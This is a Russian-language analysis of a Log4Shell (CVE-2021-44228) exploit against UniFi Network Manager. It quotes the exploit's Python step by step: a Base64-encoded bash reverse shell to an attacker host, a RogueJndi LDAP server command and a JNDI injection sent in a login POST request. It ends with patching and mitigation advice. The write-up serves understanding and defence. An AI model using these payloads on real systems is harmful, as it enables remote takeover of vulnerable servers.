
Анализ CVE-2021-44228 (BDU:2021-05969) в Log4Shell
Цель эксплойта: Удалённое выполнение кода (RCE) через уязвимость в Apache Log4j2, используя JNDI/LDAP-инъекцию.
Целевая система: Уязвимые версии UniFi Network Manager (и другие приложения, использующие Log4j2 2.0-beta9 – 2.15.0).
Ключевые этапы работы эксплойта
1. Подготовка обратной оболочки (Reverse Shell)
-
Кодирование команды в Base64:
shell = base64.b64encode(f'bash -c bash -i >&/dev/tcp/{callback}/{port} 0>&1'.encode('utf-8'))
Команда для обратной оболочки кодируется в Base64, чтобы обойти возможные фильтры символов (например, пробелы или спецсимволы).
-
Пример декодированной команды:
bash -c "bash -i >&/dev/tcp/10.0.0.1/4444 0>&1"
Эта команда создаёт TCP-соединение с атакующим на указанный IP и порт.
2. Запуск поддельного LDAP-сервера (RogueJNDI)
Эксплойт использует инструмент RogueJndi для эмуляции вредоносного LDAP-сервера:
proc = subprocess.Popen([
'timeout', '30s',
'java', '-jar', './utils/rogue-jndi/target/RogueJndi-1.1.jar',
'--command', f'bash -c {{echo,{revshell}}}|{{base64,-d}}|{{bash,-i}}',
'--hostname', f'{callback}'
])
-
RogueJndi возвращает жертве ссылку на класс-эксплоит, который выполняет команду:
-
Декодирует Base64 (
base64 -d
). -
Запускает декодированную команду через
bash -i
.
-
3. Формирование JNDI-инъекции
Эксплойт подставляет в POST-запрос вредоносный payload:
t = Template('{"username": "${payload}", "password": "log4j", "remember": "${payload}", "strict":true}')
payload = t.substitute(payload=f'${{jndi:ldap://{callback}:1389/o=tomcat}}')
-
Структура payload:
{ "username": "${jndi:ldap://10.0.0.1:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.0.0.1:1389/o=tomcat}", "strict": true }
Поля
username
иremember
содержат JNDI-ссылку на LDAP-сервер атакующего.
4. Отправка запроса и триггер уязвимости
-
Эксплойт отправляет POST-запрос на
/api/login
целевого сервера:response = requests.post(url, data=payload, verify=False)
-
Log4j2 обрабатывает payload:
-
Библиотека Log4j2 пытается выполнить lookup для
${jndi:ldap://...}
. -
JNDI обращается к LDAP-серверу атакующего.
-
Сервер возвращает ссылку на класс, который загружается и исполняется в памяти.
-
Технические детали уязвимости CVE-2021-44228 (BDU:2021-05969)
Почему это работает?
-
Уязвимый код Log4j2:
Функции вродеlookup()
интерпретируют строки вида${jndi:...}
как команды для динамической загрузки объектов. -
Цепочка исполнения:
JNDI → LDAP-сервер → Загрузка класса → Вызов статического блока/конструктора → RCE.
Роль RogueJndi
-
LDAP-сервер: Слушает на порту 1389 и возвращает вредоносный
Reference
. -
Класс-эксплоит: Генерирует класс, который при инициализации выполняет команду через
Runtime.getRuntime().exec()
.
Условия успешной эксплуатации
-
Уязвимая версия Log4j2: 2.0-beta9 – 2.15.0 (кроме 2.12.2, 2.12.3, 2.3.1).
-
Включен lookup-механизм: По умолчанию активирован до версии 2.15.0.
-
Доступ к LDAP-серверу атакующего: Жертва должна иметь исходящий доступ к порту 1389.
Защита и устранение
-
Обновление Log4j2:
-
Версии 2.16.0 и выше (JNDI полностью удалён).
-
Патчи для старых версий: 2.12.2, 2.12.3, 2.3.1.
-
-
Отключение JNDI:
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
-
Сетевые ограничения:
-
Блокировка исходящих LDAP-запросов на уровне фаервола.
-
Использование WAF для фильтрации
${jndi:*}
в HTTP-запросах.
-
